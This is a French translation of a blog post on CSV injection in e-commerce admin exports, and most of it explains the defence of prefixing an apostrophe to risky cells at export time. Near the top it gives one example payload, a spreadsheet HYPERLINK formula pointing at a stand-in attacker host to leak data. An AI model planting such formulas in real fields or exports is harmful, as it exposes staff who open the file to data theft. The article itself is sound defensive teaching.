Injection CSV : Le bouton d'exportation qui exécute du code

Un client saisit son nom. Il tape =HYPERLINK("http://evil.example/leak", "click"). Votre système l'accepte. Cela ressemble à du texte brut.

Quelques semaines plus tard, votre équipe financière exporte une liste de clients au format CSV. Ils ouvrent le fichier dans Excel. Cette cellule n'est plus du texte. C'est une formule.

C'est l'injection CSV. On l'appelle aussi injection de formule. C'est un bug courant dans les panneaux d'administration e-commerce. La plupart des équipes ne font pas de tests à ce sujet.

Les applications de tableur ne traitent pas chaque cellule comme du texte. Si une cellule commence par =, +, - ou @, Excel ou Google Sheets la lit comme une formule.

Une formule peut faire plus que des mathématiques. Elle peut construire une URL. Elle peut contacter un réseau. Dans certains cas, elle peut lancer des commandes sur un ordinateur.

Les données restent du texte dans votre base de données. Elles deviennent exécutables au moment où un humain ouvre le fichier. Généralement, la victime est un membre du personnel disposant de privilèges d'accès élevés.

Vous courez un risque partout où vous exportez des données utilisateur :

  • Exports de noms et d'adresses de clients
  • Grilles de commandes exportées en CSV
  • Flux de produits provenant de fournisseurs
  • Extractions de formulaires de contact

Un attaquant n'a pas besoin d'un accès administrateur. Il définit son propre nom comme une formule et attend.

N'essayez pas de corriger cela lors de la validation de la saisie. La valeur est un texte légitime jusqu'à ce qu'un tableur la lise. À la place, assainissez les données au moment de l'écriture du fichier CSV.

Si une cellule commence par =, +, -, @, une tabulation ou un retour chariot, ajoutez une apostrophe au début.

Logique d'exemple : Si la valeur commence par un caractère déclencheur, retournez "'" + value.

L'apostrophe indique au tableur de traiter la cellule comme du texte. Le tableur masque l'apostrophe à l'utilisateur. Passez chaque champ par ce contrôle avant qu'il n'entre dans le fichier.

N'échappez pas les données dans votre base de données. La valeur est correcte dans votre base de données et correcte dans votre HTML. Elle n'est dangereuse que dans un CSV. Protégez la limite du CSV pour garder vos données propres ailleurs.

Cessez de faire confiance à vos exports internes. Les attaquants ciblent votre personnel via ces fichiers.

L'injection CSV ne déclenche pas d'alertes effrayantes de scanners de sécurité. Elle se cache dans le bouton d'exportation que vous avez construit il y a des années. Vérifiez votre code d'exportation CSV dès maintenant. Si vous ne protégez pas le premier caractère de chaque cellule, vous courez un risque.

Source: https://dev.to/iamrobindhiman/csv-injection-the-export-button-that-runs-code-on-someone-elses-machine-3ki6